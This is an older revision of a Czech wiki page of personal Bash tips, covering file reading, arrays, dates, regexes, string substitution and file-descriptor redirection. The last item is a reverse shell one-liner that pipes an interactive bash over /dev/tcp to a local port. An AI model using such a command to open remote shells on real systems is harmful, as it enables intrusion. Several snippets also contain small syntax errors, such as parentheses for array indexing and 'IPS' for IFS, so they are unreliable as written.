bash_general
Toto je starší verze dokumentu!
Obsah
Obecně Bash
- bash je velice mocný :) jde v něm všechno, ale člověk hodně zapomíná :) Sespsal jsem alespoň pár velice často zapomínaných věcí :)
Čtení ze souboru
- velice jednoduché čtení po jednom řádku
- pokud se přenastaví IPS, lze myslím použít i na čtení hodnot oddělených jinak než newline
while read line do echo $line done < $FILE
Pole
- inicializace
MY_ARRAY=("ONE" "TWO")
- přistup k hodnotám
echo ${MY_ARRAY(0)}
echo ${MY_ARRAY(1)}
Datum a čas
- převod data na timestamp
date +%s
- a zpátky
date -d @1365436714
Regulární výrazy
- bash podporuje regulární výrazy přímo, například v podmínkách (také v cyklech..)
[[ $string =~ $regex ]]
- pěkný regex pro poctivé parsování IP adresy přes bash
RE_IP="(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)"
Startwith/Endwith
- pro porovnání typu startwith/endwith lze použít i standardní možnosti shellu (parameter substitution, example 10-8)
MY_STR="123ABC" MY_SUB1="123" MY_SUB2="ABC" echo "${MY_STR#$MY_SUB1}, ${MY_STR%$MY_SUB2}" [ "${MY_STR}" != ${MY_STR#$MY_SUB1} ] && echo "${MY_STR} startwith ${MY_SUB1}" [ "${MY_STR}" != ${MY_STR%$MY_SUB2} ] && echo "${MY_STR} endwith ${MY_SUB2}"
ABC, 123 123ABC startwith 123 123ABC endwith ABC
Řetězce
- nahrazení všech výskytů podřetězce řetězcem
X="a.b.c"; echo ${X//./#} a#b#c
- získání podřetězce
x="AAA#BBB"; echo ${x#*#}; echo ${x%#*} BBB AAA
vstupy/výstupy
- standardní file descriptor procesu:
- 0 STDIN
- 1 STDOUT
- 2 STDERR
- otevři soubor /tmp/x pro zápis jako STDOUT (FD 1)
exec > /tmp/x echo "aaa"
echo "aaa" > /tmp/x
- zduplikuj FD 2 na FD 1
exec 2>&1
- nastav FD1 + FD2 na /tmp/x
exec &> /tmp/x
- nastav stdin na stejný fd jeako stdout
0>&1
0<&1
<&1
- reverse shell: vytvoř TCP soket na IP 127.0.0.1, port 9999, nasměruj na něj výstup interaktivního bash shellu a vstup čti z tohoto socketu
bash -i &> /dev/tcp/127.0.0.1/9999 0>&1
bash_general.1628244833.txt.gz · Poslední úprava: (upraveno mimo DokuWiki)
